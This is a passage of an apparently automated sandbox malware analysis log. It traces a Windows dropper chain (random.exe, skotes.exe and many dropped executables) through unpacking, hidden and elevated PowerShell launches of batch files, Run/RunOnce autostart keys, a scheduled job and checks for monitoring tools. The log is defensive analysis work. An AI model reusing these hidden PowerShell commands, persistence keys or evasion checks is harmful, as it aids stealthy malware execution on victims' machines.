Source: C:\Users\user\AppData\Local\Temp\1076828001\949wScO.exe Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\1076828001\949wScO.exe Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1076828001\949wScO.exe Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1076828001\949wScO.exe Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\1076828001\949wScO.exe Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1076828001\949wScO.exe Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1076828001\949wScO.exe Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1076828001\949wScO.exe Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1076828001\949wScO.exe Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1076828001\949wScO.exe Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1076828001\949wScO.exe Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1076828001\949wScO.exe Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1076828001\949wScO.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1076828001\949wScO.exe Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Local\Temp\1076828001\949wScO.exe Section loaded: amsi.dll
Source: C:\Users\user\AppData\Local\Temp\1076828001\949wScO.exe Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1076828001\949wScO.exe Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1076828001\949wScO.exe Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1076828001\949wScO.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1076828001\949wScO.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1076828001\949wScO.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\Desktop\random.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{148BD52A-A2AB-11CE-B11F-00AA00530503}\InProcServer32 Jump to behavior
Source: Window Recorder Window detected: More than 3 window changes detected
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll Jump to behavior
Source: random.exe Static file information: File size 1927168 > 1048576
Source: random.exe Static PE information: Raw size of mpszmqpi is bigger than: 0x100000 < 0x1a4a00
Source: Binary string: wextract.pdb source: 2aydDCz.exe, 00000007.00000000.2360982085.00007FF607FA9000.00000002.00000001.01000000.00000009.sdmp, 2aydDCz.exe, 00000007.00000002.2479879235.00007FF607FA9000.00000002.00000001.01000000.00000009.sdmp, 2aydDCz.exe.6.dr, 2aydDCz[1].exe.6.dr
Source: Binary string: C:\Users\Administrator\source\repos\pockchaewq\x64\Release\pockchaewq.pdb6 source: wYfLzVg.exe, 0000002D.00000000.2492195958.00007FF788011000.00000002.00000001.01000000.0000000E.sdmp, wYfLzVg.exe, 0000002D.00000002.2721535489.00007FF788011000.00000002.00000001.01000000.0000000E.sdmp, wYfLzVg[1].exe.6.dr
Source: Binary string: wextract.pdbGCTL source: 2aydDCz.exe, 00000007.00000000.2360982085.00007FF607FA9000.00000002.00000001.01000000.00000009.sdmp, 2aydDCz.exe, 00000007.00000002.2479879235.00007FF607FA9000.00000002.00000001.01000000.00000009.sdmp, 2aydDCz.exe.6.dr, 2aydDCz[1].exe.6.dr
Source: Binary string: Acquire.pdb source: 949wScO.exe, 0000003D.00000000.2592875615.0000000000402000.00000002.00000001.01000000.00000010.sdmp, 949wScO.exe, 0000003D.00000002.2769905025.00000000037E9000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: \??\C:\Windows\dll\mscorlib.pdb source: 949wScO.exe, 0000003D.00000002.2763118469.00000000008E1000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: \??\C:\Windows\symbols\dll\mscorlib.pdb source: 949wScO.exe, 0000003D.00000002.2763118469.000000000088C000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: \??\C:\Users\user\AppData\Local\Temp\1076828001\949wScO.PDBes source: 949wScO.exe, 0000003D.00000002.2763118469.00000000008A3000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: \??\C:\Windows\mscorlib.pdb8g;'= source: 949wScO.exe, 0000003D.00000002.2763118469.00000000008A3000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: C:\Users\Administrator\source\repos\pockchaewq\x64\Release\pockchaewq.pdb source: wYfLzVg.exe, 0000002D.00000000.2492195958.00007FF788011000.00000002.00000001.01000000.0000000E.sdmp, wYfLzVg.exe, 0000002D.00000002.2721535489.00007FF788011000.00000002.00000001.01000000.0000000E.sdmp, wYfLzVg[1].exe.6.dr
Source: Binary string: \??\C:\Windows\mscorlib.pdb source: 949wScO.exe, 0000003D.00000002.2763118469.00000000008A3000.00000004.00000020.00020000.00000000.sdmp

Data Obfuscation
barindex
Detected unpacking (changes PE section rights)
Source: C:\Users\user\Desktop\random.exe Unpacked PE file: 0.2.random.exe.7c0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;mpszmqpi:EW;bdjuoyfz:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;mpszmqpi:EW;bdjuoyfz:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Unpacked PE file: 1.2.skotes.exe.c80000.0.unpack :EW;.rsrc:W;.idata :W; :EW;mpszmqpi:EW;bdjuoyfz:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;mpszmqpi:EW;bdjuoyfz:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Unpacked PE file: 2.2.skotes.exe.c80000.0.unpack :EW;.rsrc:W;.idata :W; :EW;mpszmqpi:EW;bdjuoyfz:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;mpszmqpi:EW;bdjuoyfz:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Unpacked PE file: 6.2.skotes.exe.c80000.0.unpack :EW;.rsrc:W;.idata :W; :EW;mpszmqpi:EW;bdjuoyfz:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;mpszmqpi:EW;bdjuoyfz:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1076700001\KbSwZup.exe Unpacked PE file: 60.2.KbSwZup.exe.820000.0.unpack :EW;.rsrc:W;.idata :W; :EW;byidmovu:EW;ifcaqyxp:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;byidmovu:EW;ifcaqyxp:EW;.taggant:EW;
Suspicious powershell command line found
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -windowstyle hidden -command "Start-Process -FilePath 'C:\Users\user\AppData\Local\Temp\IXP000.TMP\Loli.bat' -ArgumentList 'SONHQYkRMfwzXXluF' -WindowStyle Hidden"
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -windowstyle hidden -command "Start-Process -FilePath 'C:\Users\user\AppData\Local\Temp\IXP000.TMP\Lol.bat' -ArgumentList 'CecYOJVReWhIq' -WindowStyle Hidden -Verb RunAs"
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -windowstyle hidden -command "Start-Process -FilePath 'C:\Users\user\AppData\Local\Temp\IXP000.TMP\Loli.bat' -ArgumentList 'SONHQYkRMfwzXXluF' -WindowStyle Hidden" Jump to behavior
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -windowstyle hidden -command "Start-Process -FilePath 'C:\Users\user\AppData\Local\Temp\IXP000.TMP\Lol.bat' -ArgumentList 'CecYOJVReWhIq' -WindowStyle Hidden -Verb RunAs"
Binary contains a suspicious time stamp
Source: YzbWjqR[1].exe.6.dr Static PE information: 0xE28C79B4 [Sun Jun 11 09:36:52 2090 UTC]
Entry point lies outside standard sections
Source: initial sample Static PE information: section where entry point is pointing to: .taggant
PE file contains an invalid checksum
Source: random[1].exe.6.dr Static PE information: real checksum: 0xf85e9 should be: 0x7921e
Source: pythiksdaw.exe.45.dr Static PE information: real checksum: 0x26c434 should be: 0x269a32
Source: TaVOM7x[1].exe.6.dr Static PE information: real checksum: 0x0 should be: 0x4f2d63
Source: j6TfMeT[1].exe.6.dr Static PE information: real checksum: 0x0 should be: 0xa858a
Source: DTQCxXZ.exe.6.dr Static PE information: real checksum: 0x0 should be: 0x523d2
Source: TaVOM7x.exe.6.dr Static PE information: real checksum: 0x0 should be: 0x4f2d63
Source: 6e88b14e1e.exe.6.dr Static PE information: real checksum: 0xf85e9 should be: 0x7921e
Source: 949wScO.exe.6.dr Static PE information: real checksum: 0x0 should be: 0x65e4e
Source: KbSwZup.exe.6.dr Static PE information: real checksum: 0x2018ae should be: 0x1f90ce
Source: skotes.exe.0.dr Static PE information: real checksum: 0x1e499b should be: 0x1dec21
Source: OvLh8V8.exe.6.dr Static PE information: real checksum: 0x0 should be: 0x18629d
Source: IaobsEngine.exe.20.dr Static PE information: real checksum: 0x0 should be: 0xa858a
Source: pythiksdaw[1].exe.45.dr Static PE information: real checksum: 0x26c434 should be: 0x269a32
Source: wYfLzVg.exe.6.dr Static PE information: real checksum: 0x0 should be: 0x53726
Source: 949wScO[1].exe.6.dr Static PE information: real checksum: 0x0 should be: 0x65e4e
Source: j6TfMeT.exe.6.dr Static PE information: real checksum: 0x0 should be: 0xa858a
Source: OvLh8V8[1].exe.6.dr Static PE information: real checksum: 0x0 should be: 0x18629d
Source: random.exe Static PE information: real checksum: 0x1e499b should be: 0x1dec21
Source: DTQCxXZ[1].exe.6.dr Static PE information: real checksum: 0x0 should be: 0x523d2
Source: KbSwZup[1].exe.6.dr Static PE information: real checksum: 0x2018ae should be: 0x1f90ce
Source: wYfLzVg[1].exe.6.dr Static PE information: real checksum: 0x0 should be: 0x53726
PE file contains sections with non-standard names
Source: random.exe Static PE information: section name:
Source: random.exe Static PE information: section name: .idata
Source: random.exe Static PE information: section name:
Source: random.exe Static PE information: section name: mpszmqpi
Source: random.exe Static PE information: section name: bdjuoyfz
Source: random.exe Static PE information: section name: .taggant
Source: skotes.exe.0.dr Static PE information: section name:
Source: skotes.exe.0.dr Static PE information: section name: .idata
Source: skotes.exe.0.dr Static PE information: section name:
Source: skotes.exe.0.dr Static PE information: section name: mpszmqpi
Source: skotes.exe.0.dr Static PE information: section name: bdjuoyfz
Source: skotes.exe.0.dr Static PE information: section name: .taggant
Source: OvLh8V8[1].exe.6.dr Static PE information: section name: UPX2
Source: OvLh8V8.exe.6.dr Static PE information: section name: UPX2
Source: KbSwZup[1].exe.6.dr Static PE information: section name:
Source: KbSwZup[1].exe.6.dr Static PE information: section name: .idata
Source: KbSwZup[1].exe.6.dr Static PE information: section name:
Source: KbSwZup[1].exe.6.dr Static PE information: section name: byidmovu
Source: KbSwZup[1].exe.6.dr Static PE information: section name: ifcaqyxp
Source: KbSwZup[1].exe.6.dr Static PE information: section name: .taggant
Source: KbSwZup.exe.6.dr Static PE information: section name:
Source: KbSwZup.exe.6.dr Static PE information: section name: .idata
Source: KbSwZup.exe.6.dr Static PE information: section name:
Source: KbSwZup.exe.6.dr Static PE information: section name: byidmovu
Source: KbSwZup.exe.6.dr Static PE information: section name: ifcaqyxp
Source: KbSwZup.exe.6.dr Static PE information: section name: .taggant
Source: 949wScO[1].exe.6.dr Static PE information: section name: .CODE
Source: 949wScO.exe.6.dr Static PE information: section name: .CODE
Source: TaVOM7x[1].exe.6.dr Static PE information: section name: .symtab
Source: TaVOM7x.exe.6.dr Static PE information: section name: .symtab
Source: pythiksdaw[1].exe.45.dr Static PE information: section name: .xdata
Source: pythiksdaw.exe.45.dr Static PE information: section name: .xdata
Uses code obfuscation techniques (call, push, ret)
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Code function: 6_2_00C9D91C push ecx; ret 6_2_00C9D92F
Source: C:\Users\user\AppData\Local\Temp\1076269001\DTQCxXZ.exe Code function: 19_2_00134BF0 push eax; mov dword ptr [esp], A1A0A796h 19_2_00134BF2
Source: random.exe Static PE information: section name: entropy: 7.980184581834014
Source: random.exe Static PE information: section name: mpszmqpi entropy: 7.954211629022721
Source: skotes.exe.0.dr Static PE information: section name: entropy: 7.980184581834014
Source: skotes.exe.0.dr Static PE information: section name: mpszmqpi entropy: 7.954211629022721
Source: KbSwZup[1].exe.6.dr Static PE information: section name: entropy: 7.153233435039762
Source: KbSwZup[1].exe.6.dr Static PE information: section name: byidmovu entropy: 7.952929234258028
Source: KbSwZup.exe.6.dr Static PE information: section name: entropy: 7.153233435039762
Source: KbSwZup.exe.6.dr Static PE information: section name: byidmovu entropy: 7.952929234258028
Source: 949wScO[1].exe.6.dr, Program.cs High entropy of concatenated method names: 'DD4S3OEfw', 'jqWIrxRs1lelGNfiwAt', 'XoqH4cRB6P1VJZb7oNl', 'RUfOdPRdhaTeh6x0qJm', 'flBxJSR6lMmlh59CHVm', 'VirtualProtect', 'CallWindowProcA', 'ParseTree', 'LookupPointer', 'Main'
Source: 949wScO[1].exe.6.dr, AOPsjhnAUIoa.cs High entropy of concatenated method names: 'cijnxIAjsbAki', 'comzmbzAYvbsuyw', 'OvmczjnAiw', 'WaxmAmbjxK', 'XopmxbzAYbh', 'OxcmzlAoxnoAoiwur', 'xJiZanRRwP3y3tNXQaH', 'S3Q4WlzqM7aQVT4LDN', 'JJe1vvRU1eX4ic5j26J', 'm4dfBiRFgTrXp5NJ5mn'
Source: 949wScO.exe.6.dr, Program.cs High entropy of concatenated method names: 'DD4S3OEfw', 'jqWIrxRs1lelGNfiwAt', 'XoqH4cRB6P1VJZb7oNl', 'RUfOdPRdhaTeh6x0qJm', 'flBxJSR6lMmlh59CHVm', 'VirtualProtect', 'CallWindowProcA', 'ParseTree', 'LookupPointer', 'Main'
Source: 949wScO.exe.6.dr, AOPsjhnAUIoa.cs High entropy of concatenated method names: 'cijnxIAjsbAki', 'comzmbzAYvbsuyw', 'OvmczjnAiw', 'WaxmAmbjxK', 'XopmxbzAYbh', 'OxcmzlAoxnoAoiwur', 'xJiZanRRwP3y3tNXQaH', 'S3Q4WlzqM7aQVT4LDN', 'JJe1vvRU1eX4ic5j26J', 'm4dfBiRFgTrXp5NJ5mn'
Source: 61.2.949wScO.exe.5a50000.1.raw.unpack, Program.cs High entropy of concatenated method names: 'DD4S3OEfw', 'jqWIrxRs1lelGNfiwAt', 'XoqH4cRB6P1VJZb7oNl', 'RUfOdPRdhaTeh6x0qJm', 'flBxJSR6lMmlh59CHVm', 'VirtualProtect', 'CallWindowProcA', 'ParseTree', 'LookupPointer', 'Main'
Source: 61.2.949wScO.exe.5a50000.1.raw.unpack, AOPsjhnAUIoa.cs High entropy of concatenated method names: 'cijnxIAjsbAki', 'comzmbzAYvbsuyw', 'OvmczjnAiw', 'WaxmAmbjxK', 'XopmxbzAYbh', 'OxcmzlAoxnoAoiwur', 'xJiZanRRwP3y3tNXQaH', 'S3Q4WlzqM7aQVT4LDN', 'JJe1vvRU1eX4ic5j26J', 'm4dfBiRFgTrXp5NJ5mn'
Source: 61.2.949wScO.exe.37e9550.0.raw.unpack, Program.cs High entropy of concatenated method names: 'DD4S3OEfw', 'jqWIrxRs1lelGNfiwAt', 'XoqH4cRB6P1VJZb7oNl', 'RUfOdPRdhaTeh6x0qJm', 'flBxJSR6lMmlh59CHVm', 'VirtualProtect', 'CallWindowProcA', 'ParseTree', 'LookupPointer', 'Main'
Source: 61.2.949wScO.exe.37e9550.0.raw.unpack, AOPsjhnAUIoa.cs High entropy of concatenated method names: 'cijnxIAjsbAki', 'comzmbzAYvbsuyw', 'OvmczjnAiw', 'WaxmAmbjxK', 'XopmxbzAYbh', 'OxcmzlAoxnoAoiwur', 'xJiZanRRwP3y3tNXQaH', 'S3Q4WlzqM7aQVT4LDN', 'JJe1vvRU1eX4ic5j26J', 'm4dfBiRFgTrXp5NJ5mn'
Source: initial sample Static PE information: section name: UPX0
Source: initial sample Static PE information: section name: UPX1
Source: initial sample Static PE information: section name: UPX0
Source: initial sample Static PE information: section name: UPX1
Drops PE files
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File created: C:\Users\user\AppData\Local\Temp\1076894001\YzbWjqR.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File created: C:\Users\user\AppData\Local\Temp\1076269001\DTQCxXZ.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File created: C:\Users\user\AppData\Local\Temp\1076700001\KbSwZup.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\2aydDCz[1].exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\wYfLzVg[1].exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\KbSwZup[1].exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\j6TfMeT[1].exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[1].exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1076698001\wYfLzVg.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\pythiksdaw[1].exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\TaVOM7x[1].exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\YzbWjqR[1].exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File created: C:\Users\user\AppData\Local\Temp\1076689001\j6TfMeT.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File created: C:\Users\user\AppData\Local\Temp\1076878001\OvLh8V8.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File created: C:\Users\user\AppData\Local\Temp\1077101101\6e88b14e1e.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\DTQCxXZ[1].exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File created: C:\Users\user\AppData\Local\Temp\1076858001\TaVOM7x.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\OvLh8V8[1].exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\949wScO[1].exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1076689001\j6TfMeT.exe File created: C:\ProgramData\IaobsEngine\IaobsEngine.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File created: C:\Users\user\AppData\Local\Temp\1076828001\949wScO.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File created: C:\Users\user\AppData\Local\Temp\1076065001\2aydDCz.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File created: C:\Users\user\AppData\Local\Temp\1076698001\wYfLzVg.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1076698001\wYfLzVg.exe File created: C:\QZXDK\pythiksdaw.exe Jump to dropped file
Source: C:\Users\user\Desktop\random.exe File created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Jump to dropped file
Drops PE files to the application program directory (C:\ProgramData)
Source: C:\Users\user\AppData\Local\Temp\1076689001\j6TfMeT.exe File created: C:\ProgramData\IaobsEngine\IaobsEngine.exe Jump to dropped file

Boot Survival
barindex
Creates multiple autostart registry keys
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run am_no.cmd Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1076065001\2aydDCz.exe Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce wextract_cleanup0 Jump to behavior
Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)
Source: C:\Users\user\Desktop\random.exe Window searched: window name: FilemonClass Jump to behavior
Source: C:\Users\user\Desktop\random.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\Desktop\random.exe Window searched: window name: RegmonClass Jump to behavior
Source: C:\Users\user\Desktop\random.exe Window searched: window name: FilemonClass Jump to behavior
Source: C:\Users\user\Desktop\random.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: FilemonClass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: RegmonClass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: FilemonClass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: FilemonClass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: RegmonClass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: FilemonClass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: FilemonClass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: RegmonClass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: FilemonClass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: Regmonclass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: Filemonclass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1076700001\KbSwZup.exe Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1076700001\KbSwZup.exe Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1076700001\KbSwZup.exe Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1076700001\KbSwZup.exe Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1076700001\KbSwZup.exe Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1076700001\KbSwZup.exe Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1076700001\KbSwZup.exe Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1076700001\KbSwZup.exe Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1076700001\KbSwZup.exe Window searched: window name: Regmonclass
Creates job files (autostart)
Source: C:\Users\user\Desktop\random.exe File created: C:\Windows\Tasks\skotes.job Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run am_no.cmd Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run am_no.cmd Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1076065001\2aydDCz.exe Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce wextract_cleanup0 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1076065001\2aydDCz.exe Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce wextract_cleanup0 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1076065001\2aydDCz.exe Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce wextract_cleanup0 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1076065001\2aydDCz.exe Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce wextract_cleanup0 Jump to behavior
Source: C:\Users\user\Desktop\random.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\cmd.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
